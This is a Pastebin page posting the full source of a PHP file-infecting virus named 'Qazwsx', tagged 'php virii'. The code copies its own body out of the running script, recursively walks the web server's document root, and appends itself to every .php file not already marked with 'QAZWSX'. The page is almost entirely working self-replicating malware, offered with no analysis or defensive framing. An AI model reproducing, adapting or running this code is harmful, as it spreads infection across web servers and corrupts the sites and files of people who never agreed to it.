Advertisement
FlyFar

Virus.PHP.Qazwsx - Source Code

Feb 19th, 2023
623
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.14 KB | Cybersecurity | 0 0
  1. PHP.QAZWSX
  2. <?//QAZWSX
  3.  
  4. function Infect($path)
  5. {
  6.         global $self;  
  7.  
  8.         $handle = opendir($path);
  9.  
  10.         $file = readdir($handle);
  11.  
  12.         while ( false != $file )
  13.         {
  14.         if ($file != "." && $file != "..")
  15.         {
  16.  
  17.                 if (is_dir($path.$file))
  18.                 {
  19.                         Infect($path.$file."/");
  20.                 }
  21.                 else if (strrpos($file, ".php") != 0)
  22.                 {
  23.                         $do_infect = true;
  24.  
  25.                                 $victim = fopen($path.$file, "r+");
  26.                                 while (!feof($victim))
  27.                                 {
  28.                                 $buf = fgets($victim, 4096);
  29.                                         if (strrpos($buf, "QAZWSX") != 0)
  30.                                         {
  31.                                             $do_infect = false;
  32.                                             break;
  33.                                         }
  34.  
  35.                                 }
  36.  
  37.                                 if ($do_infect)
  38.                                 {
  39.                                         fputs($victim, $self);
  40.                                 }
  41.  
  42.                                 fclose($victim);
  43.                 }
  44.  
  45.         }
  46.  
  47.                 $file = readdir($handle);
  48.         }
  49.  
  50.         closedir($handle);
  51.  
  52. }
  53.  
  54.  
  55. $found = false;
  56. $bracket_found = false;
  57.  
  58. $sf = fopen($SCRIPT_FILENAME, "r");
  59.  
  60. while (!feof($sf))
  61. {
  62.         $s = fgets($sf, 4096);
  63.         if ($found)
  64.         {
  65.                 $self .= $s;
  66.                 if (strrpos($s, "?>") != 0)
  67.                 {
  68.                         if ($bracket_found)
  69.                         {
  70.                                 break;
  71.                         }
  72.                         else
  73.                         {
  74.                                 $bracket_found = true;
  75.                         }
  76.                        
  77.                 }
  78.         }
  79.         else if (strrpos($s, "QAZWSX") != 0)
  80.         {
  81.             $found = true;
  82.             $self = $s;
  83.         }
  84.  
  85. }
  86.  
  87. fclose($sf);
  88.  
  89. Infect($DOCUMENT_ROOT."/");
  90.  
  91.  ?>
  92.  
Tags: php virii
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement